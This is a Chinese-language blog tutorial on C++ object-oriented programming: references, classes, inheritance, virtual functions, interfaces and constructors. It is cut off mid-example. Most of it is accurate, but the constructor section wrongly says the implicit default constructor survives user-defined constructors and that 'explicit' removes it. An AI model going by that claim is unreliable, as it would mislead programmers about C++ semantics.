    <content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>最近学了两三个月C++，对于C++中的OOP编程有了一些心得体会，于是在这里写一篇教学性质的文章。因为还在学习，所以（很可能）有谬误，还请不吝指出，给大家磕头了（（</p><h2 id="C-基础知识"><a href="#C-基础知识" class="headerlink" title="C++基础知识"></a>C++基础知识</h2><h3 id="引用"><a href="#引用" class="headerlink" title="引用"></a>引用</h3><p>相信大家已经对指针(pointer)不陌生了，引用(reference)与指针非常类似，但是有以下特点：</p><ol><li>指针可以为nullptr；而引用在语义上不能为空（注意这并不意味着引用不会发生Use After Free的情况，在写码时要注意被引用对象的生命周期不能短于引用的生命周期）</li><li>指针是值，可以修改；而引用相当于一个“别名”，一旦绑定不可修改</li><li>在使用指针指向的对象时，首先要解引用（即使用*）；而引用可以被视作指向的对象本身，不需要使用*运算符</li><li>引用包含左值引用和右值引用，在对象构造时有着重要作用</li></ol><p>由于在C++中，值可以被隐式转换为对其的引用，因此我们要注意变量实际的类型。</p><h4 id="左值引用"><a href="#左值引用" class="headerlink" title="左值引用"></a>左值引用</h4><p>左值(lvalue)就是在内存当中存储的值，之所以被称作左值是因为它常常在赋值号的左边。</p><p>比较简单的理解，左值就是能取内存地址的值。左值引用就是对左值的引用。</p><p>当然，左值不一定是可修改的，例如字符串常量是左值，但不可被修改。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;iostream&gt;</span></span></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">foo</span><span class="params">(<span class="type">int</span>&amp; i)</span></span>&#123;</span><br><span class="line">    i++;</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line">    <span class="type">int</span> a=<span class="number">3</span>;</span><br><span class="line">    <span class="built_in">foo</span>(a); <span class="comment">//虽然a是int型，但是此处foo只接受int&amp;类型的参数，所以a被隐式转换为对a的引用</span></span><br><span class="line">    std::cout&lt;&lt;a&lt;&lt;std::endl;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="右值引用"><a href="#右值引用" class="headerlink" title="右值引用"></a>右值引用</h4><p>右值(rvalue)就是“不是左值的值”，常在赋值号的右边。比如字面量、表达式的运算结果等。右值包含亡值(xvalue)和纯右值(prvalue)，前者指被临时存储但是即将被抛弃的对象（例如表达式的求值结果），而纯右值为不是亡值的右值，例如字面量。</p><p>乍一看右值引用似乎有些鸡肋，但右值引用主要用于对象的移动上，亡值有着“即将被抛弃”的语义，可以很好描述对象的移动语义（所有权的转移）。</p><p>在C++中，右值引用使用两个&amp;号表示。右值引用是可以被更改的。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;iostream&gt;</span></span></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line">    <span class="type">int</span>&amp;&amp; a = <span class="number">3</span>;</span><br><span class="line">    std::cout&lt;&lt;a&lt;&lt;std::endl; <span class="comment">//3</span></span><br><span class="line">    a++; </span><br><span class="line">    std::cout&lt;&lt;a&lt;&lt;std::endl; <span class="comment">//4</span></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="常量左值引用"><a href="#常量左值引用" class="headerlink" title="常量左值引用"></a>常量左值引用</h4><p>类似于指针，我们在左值引用前加上const就能声明这个引用的对象不可被更改。特别地，常量左值引用可以指向一个右值。在C++中，对于任何显式引用临时值的语句，临时值的生命周期都会被延长至引用的生命周期。（For any statement explicitly binding a reference to a temporary, the lifetime of all temporaries in the statement are extended to match the lifetime of the reference.）</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;iostream&gt;</span></span></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">foo</span><span class="params">(<span class="type">const</span> <span class="type">int</span>&amp; i)</span></span>&#123;</span><br><span class="line">    std::cout&lt;&lt;i&lt;&lt;std::endl;</span><br><span class="line">    <span class="comment">//在这里不能更改i</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line">    <span class="built_in">foo</span>(<span class="number">3</span>); <span class="comment">//可以传入右值</span></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="OOP-Object-Oriented-Programming"><a href="#OOP-Object-Oriented-Programming" class="headerlink" title="OOP(Object-Oriented Programming)"></a>OOP(Object-Oriented Programming)</h2><h3 id="对象"><a href="#对象" class="headerlink" title="对象"></a>对象</h3><p>对象(object)，比较直观的理解就是一个“东西”。面向对象编程，就是把我们要处理的逻辑、事务都抽象为一个个不同“类”(class)的对象。为了方便我们的抽象，对象有着好用的特性（封装、继承、多态）。</p><p>自然地，每个对象拥有自己的属性和方法。比如我用一个类表示书，那么书的属性可能有：标题、内容、封皮颜色等，书的方法可能有更改内容、阅读等。一个对象的方法是与这个对象有关的操作（不一定更改这个对象）。在实践中，我们按需要定义一个类的属性和方法。</p><p>在C++中，我们称一个类包含的值为“成员”，包含的方法为“成员方法”，依然用上面的例子，在C++中，我们这样声明一个类：</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">book</span> &#123;</span><br><span class="line">    std::string title; <span class="comment">//成员</span></span><br><span class="line">    std::string content; <span class="comment">//成员</span></span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">read</span><span class="params">()</span></span>; <span class="comment">//成员方法</span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>我们这样实现一个类的方法</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">void</span> <span class="title">book::read</span><span class="params">()</span> </span>&#123;</span><br><span class="line">    std::cout&lt;&lt;content&lt;&lt;std::endl;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>一个类只是描述了一类对象，并不描述一个具体的对象。例如apple类描述了苹果，但是我手中的苹果、别人手中的苹果、超市里的苹果亦有差别。我们将这样具体的对象称作类的实例(instance)。在C++中，我们用声明变量的方式得到对象的实例。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">book b; <span class="comment">//现在我拥有了一个变量b，为book类的实例</span></span><br></pre></td></tr></table></figure><p>类似于C中的malloc和free，在C++中，我们使用operator new和operator delete处理在堆上的对象实例。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">book* b = <span class="keyword">new</span> <span class="built_in">book</span>();</span><br><span class="line"><span class="keyword">delete</span> b;</span><br></pre></td></tr></table></figure><p>至此，我们的类看起来似乎和结构体区别不大。下面我们就来介绍一下类与结构体不同的特性</p><h3 id="封装"><a href="#封装" class="headerlink" title="封装"></a>封装</h3><p>在一个类中，常有一些东西不应被其他类访问。例如一些辅助函数。在程序员使用我们写的类的时候，我们不希望这些东西对外访问给程序员造成“这是什么”的困惑，也不希望内部的一些方法被意外调用破坏对象的逻辑。我们可以通过设置这些成员的可见度实现对成员访问的限制。这样的思想体现了类的封装(encapsulation)。</p><p>在C++中，我们在成员面前加上访问修饰符即可实现对象成员“可见度”的定义。C++中的访问修饰符包含三种</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">成员的访问修饰符</span><br><span class="line">private  仅对当前类可见</span><br><span class="line">protected  对当前类和当前类的派生类可见</span><br><span class="line">public  可见</span><br></pre></td></tr></table></figure><p>我们将访问修饰符加在对象成员的前面进行修饰</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">book</span> &#123;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">read_title</span><span class="params">()</span></span>;</span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">read_content</span><span class="params">()</span></span>;</span><br><span class="line"><span class="keyword">private</span>:</span><br><span class="line">    std::string title;</span><br><span class="line">    std::string content;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>这样做是因为（打印好的）书是不能被更改的，只能读，所以我们不希望外部代码更改我们书籍的title和content，于是将它设为private。（当然，将其设为const也有不能进行更改的语义，然而考虑到我们的book类可能需要读取书籍文件获取title和content，因此会涉及到成员的更改，不应设为const）</p><h3 id="继承"><a href="#继承" class="headerlink" title="继承"></a>继承</h3><p>类往往不是孤立的，类与类之间存在着一些联系，因此有了“继承”(inheritance)的概念。通过继承，派生类可以得到基类的属性和方法，从而提高代码复用性和可维护性。例如程序中包含两个类fruit和apple，显然apple是fruit的一种，因此apple应是fruit的派生类(derived class)。</p><p>这时我们注意到一个问题，当派生类继承基类(base class)时，基类成员的可访问性是怎样的？在派生类中，基类成员的可访问性自然如上节所讲。但是在外部类中呢？C++在继承时也提供了访问修饰符public, protected和private，让我们选择派生类中基类成员对外的可访问性。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">继承的访问修饰符</span><br><span class="line">private  基类成员对外全不可见，即变为private</span><br><span class="line">protected  基类public成员和protected成员变为protected，即对派生类可见</span><br><span class="line">public  基类成员的可访问性没有改变，public仍为public，其他亦然</span><br></pre></td></tr></table></figure><p>需要注意的是，成员不可访问不代表成员不存在&#x2F;未被继承。实际上，派生类继承了基类的所有成员，只是无法直接访问基类的private成员。</p><p>现在，我们可以这么表示fruit和apple类</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;iostream&gt;</span></span></span><br><span class="line"><span class="keyword">enum</span> <span class="title class_">color</span> &#123;</span><br><span class="line">    red,</span><br><span class="line">    white,</span><br><span class="line">    green,</span><br><span class="line">    blue,</span><br><span class="line">    yellow</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">fruit</span> &#123;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    color c;</span><br><span class="line">    <span class="type">int</span> size;</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">apple</span> : <span class="keyword">public</span> fruit &#123;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">eat</span><span class="params">()</span> </span>&#123;</span><br><span class="line">        std::cout&lt;&lt;<span class="string">&quot;emmm...apple tastes sweet&quot;</span>&lt;&lt;std::endl;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>&#123;</span><br><span class="line">    apple a;</span><br><span class="line">    a.c=red; <span class="comment">//apple中的c和size成员从基类fruit中继承</span></span><br><span class="line">    a.size=<span class="number">30</span>;</span><br><span class="line">    a.<span class="built_in">eat</span>(); <span class="comment">//eat是apple的成员方法，自然可以调用</span></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果以后增加了其他水果，也可以通过这种方式添加，从而避免把基类的成员都copy一遍，使代码更加清晰简洁。</p><h3 id="多态"><a href="#多态" class="headerlink" title="多态"></a>多态</h3><p>多态(polymorphism)，顾名思义，对于一个东西有多种不同的状态。</p><h4 id="重载"><a href="#重载" class="headerlink" title="重载"></a>重载</h4><p>在编译时的多态主要由函数重载(overload)实现。函数重载指同样名称的函数可以存在多个，每个函数接收不同（种类、数量）的参数，编译器在编译时确定调用的具体是哪个函数。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;iostream&gt;</span></span></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">print_num</span><span class="params">(<span class="type">int</span> a)</span></span>&#123;</span><br><span class="line">    std::cout&lt;&lt;a&lt;&lt;std::endl;</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">print_num</span><span class="params">(<span class="type">int</span> a, <span class="type">int</span> b)</span></span>&#123;</span><br><span class="line">    std::cout&lt;&lt;a&lt;&lt;<span class="string">&quot; &quot;</span>&lt;&lt;b&lt;&lt;std::endl;</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line">    <span class="built_in">print_num</span>(<span class="number">3</span>); <span class="comment">//3</span></span><br><span class="line">    <span class="built_in">print_num</span>(<span class="number">1</span>,<span class="number">2</span>); <span class="comment">//1 2</span></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>虽然这两个函数都叫print_num，但是接收的参数个数不同，因此可以被区分开来。对于对象的方法同理。</p><h4 id="虚函数与重写"><a href="#虚函数与重写" class="headerlink" title="虚函数与重写"></a>虚函数与重写</h4><p>依然举前面水果的例子，现在有一个人吃早饭，从盒子里随机挑了一个水果吃。假如我的程序要实现这样的逻辑，应该怎么写？</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">??? <span class="built_in">get_random_fruit</span>()&#123; <span class="comment">//返回值是什么？</span></span><br><span class="line">    <span class="comment">//假如有apple类和orange类，我该怎么返回？</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line">    <span class="built_in">get_random_fruit</span>().<span class="built_in">eat</span>(); <span class="comment">//编译器怎么知道调用的是apple::eat还是orange::eat？</span></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>对于第一个问题，在C++中，一个指向派生类的指针&#x2F;引用可以被隐式转换为指向基类的指针&#x2F;引用。即不管具体是apple*还是orange*，都可以隐式变为fruit*类型</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;cstdlib&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;ctime&gt;</span></span></span><br><span class="line"><span class="function">fruit* <span class="title">get_random_fruit</span><span class="params">()</span></span>&#123;</span><br><span class="line">    <span class="built_in">srand</span>(<span class="built_in">time</span>(<span class="literal">nullptr</span>));</span><br><span class="line">    <span class="keyword">switch</span>(<span class="built_in">rand</span>()%<span class="number">2</span>)&#123;</span><br><span class="line">        <span class="keyword">case</span> <span class="number">0</span>:</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">new</span> <span class="built_in">apple</span>();</span><br><span class="line">        <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">new</span> <span class="built_in">orange</span>();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>而对于第二个问题，我们来认真思考一下。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">fruit</span> &#123;&#125;;</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">apple</span> : <span class="keyword">public</span> fruit &#123;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">eat</span><span class="params">()</span></span>;</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">orange</span> : <span class="keyword">public</span> fruit &#123;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">eat</span><span class="params">()</span></span>;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>要是这么写，对于返回的fruit*类型对应的对象，根本没有eat方法，编译器显然不会接受对它调用eat方法。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;iostream&gt;</span></span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">fruit</span> &#123;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">eat</span><span class="params">()</span> </span>&#123;&#125;</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">apple</span> : <span class="keyword">public</span> fruit &#123;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">eat</span><span class="params">()</span> </span>&#123;</span><br><span class="line">        std::cout&lt;&lt;<span class="string">&quot;emm...apple tastes sweet&quot;</span>&lt;&lt;std::endl;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">orange</span> : <span class="keyword">public</span> fruit &#123;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">eat</span><span class="params">()</span> </span>&#123;</span><br><span class="line">        std::cout&lt;&lt;<span class="string">&quot;ehh...orange tastes sour&quot;</span>&lt;&lt;std::endl;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>要是这么写，fruit对象虽然可以调用eat了，但是编译器不知道函数返回的fruit*指向的究竟是fruit, apple还是orange，所以编译器根据fruit*类型，会调用fruit::eat</p><p>对于这样的问题，我们可以用虚函数(virtual function)和重写(override)解决</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;iostream&gt;</span></span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">fruit</span> &#123;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="function"><span class="keyword">virtual</span> <span class="type">void</span> <span class="title">eat</span><span class="params">()</span> </span>&#123;&#125;</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">apple</span> : <span class="keyword">public</span> fruit &#123;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">eat</span><span class="params">()</span> <span class="keyword">override</span> </span>&#123;</span><br><span class="line">        std::cout&lt;&lt;<span class="string">&quot;emm...apple tastes sweet&quot;</span>&lt;&lt;std::endl;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">orange</span> : <span class="keyword">public</span> fruit &#123;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">eat</span><span class="params">()</span> <span class="keyword">override</span> </span>&#123;</span><br><span class="line">        std::cout&lt;&lt;<span class="string">&quot;ehh...orange tastes sour&quot;</span>&lt;&lt;std::endl;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>在基类的方法中声明virtual，意味着这个方法是可以被重写的。而在派生类的同名方法中声明override，意味着重写了基类的虚函数。</p><p>现在编译器仍然不知道fruit*指向的是哪类对象，但是这三个对象在初始化时都会携带自己的类型信息，其中包含对应的eat方法所在的内存地址，在运行时直接调用类型信息中的函数指针即可。（关于这一点，我们会在接下来的章节中进一步讲述）</p><p>由此可见，在编译时，我们不考虑fruit*具体指向的是什么类型的对象，在运行时我们直接根据类型信息寻找调用的方法的内存地址即可。这体现了运行时多态。</p><h3 id="抽象类与接口"><a href="#抽象类与接口" class="headerlink" title="抽象类与接口"></a>抽象类与接口</h3><p>对于上面的例子，fruit, apple和orange，有这样一个问题。现实中存在苹果，存在橙子，但不存在一个具体的水果种类叫“水果”。因此，我们不应该有fruit类的实例，而只应有apple和orange类的实例。</p><p>在C++中，我们通过将类的成员方法声明为纯虚函数(pure virtual function)来表示一个类为抽象类(abstract class)。我们不能初始化抽象类的实例。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">fruit</span>&#123;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="function"><span class="keyword">virtual</span> <span class="type">void</span> <span class="title">eat</span><span class="params">()</span> </span>= <span class="number">0</span>; <span class="comment">//声明为纯虚函数</span></span><br><span class="line">&#125;;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line">    fruit f; <span class="comment">//编译时错误</span></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然而，能吃的不一定是水果，甚至不一定是食物，也可能是药物，或者我觉醒了奇怪的xp之后什么都想吃（？），那么eat方法所在的基类究竟该是什么？我们注意到我们吃的东西都有一个特征“能被吃”，我可以将这个特征抽象为一个接口(interface)，将其称为IEatable，凡是继承并实现了这个接口的成员方法的类，都可以调用eat方法。通过接口，我们解耦了相关的逻辑，使得代码更加清晰。</p><p>在C++语言中并没有interface这一概念，我们可以通过写抽象类实现接口</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;iostream&gt;</span></span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">IEatable</span> &#123;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="function"><span class="keyword">virtual</span> <span class="type">void</span> <span class="title">eat</span><span class="params">()</span> </span>= <span class="number">0</span>;</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">ICuttable</span> &#123;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="function"><span class="keyword">virtual</span> <span class="type">void</span> <span class="title">cut</span><span class="params">()</span> </span>= <span class="number">0</span>;</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">apple</span> : <span class="keyword">public</span> IEatable, <span class="keyword">public</span> ICuttable &#123;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">eat</span><span class="params">()</span> <span class="keyword">override</span> </span>&#123;</span><br><span class="line">        std::cout&lt;&lt;<span class="string">&quot;this apple tastes good&quot;</span>&lt;&lt;std::endl;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">cut</span><span class="params">()</span> <span class="keyword">override</span> </span>&#123;</span><br><span class="line">        std::cout&lt;&lt;<span class="string">&quot;this apple is cut into pieces!&quot;</span>&lt;&lt;std::endl;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>在这里，我们的apple既可以吃，也可以切。代码中，apple同时继承了多个基类，这被称为多继承。</p><h2 id="C-中的对象"><a href="#C-中的对象" class="headerlink" title="C++中的对象"></a>C++中的对象</h2><h3 id="构造函数"><a href="#构造函数" class="headerlink" title="构造函数"></a>构造函数</h3><p>当新建一个类的实例时，对象要被初始化。初始化对应的函数就叫做构造函数(constructor)。</p><p>在构造函数中，对象常常通过接收到的参数设置自身的成员，完成初始化操作；或是为自己的成员申请内存。声明构造函数与声明方法类似，只不过构造函数没有且不标注返回值，名称与类名相同，且不能为虚函数。与方法类似，构造函数受访问修饰符修饰，且可以被重载。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">apple</span> &#123;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="built_in">apple</span>(<span class="type">int</span> size) &#123;</span><br><span class="line">        <span class="keyword">this</span>-&gt;size=size;</span><br><span class="line">    &#125;</span><br><span class="line"><span class="keyword">private</span>:</span><br><span class="line">    <span class="type">int</span> size;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>需要注意的是，一个类默认有自己的无参构造函数。如果我们不希望它存在，可以通过explicit关键字声明我们重载的构造函数，从而屏蔽无参构造函数。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">apple1</span> &#123;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="built_in">apple1</span>(<span class="type">int</span> size) &#123;</span><br><span class="line">        <span class="keyword">this</span>-&gt;size=size;</span><br><span class="line">    &#125;</span><br><span class="line"><span class="keyword">private</span>:</span><br><span class="line">    <span class="type">int</span> size;</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">apple2</span> &#123;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="function"><span class="keyword">explicit</span> <span class="title">apple2</span><span class="params">(<span class="type">int</span> 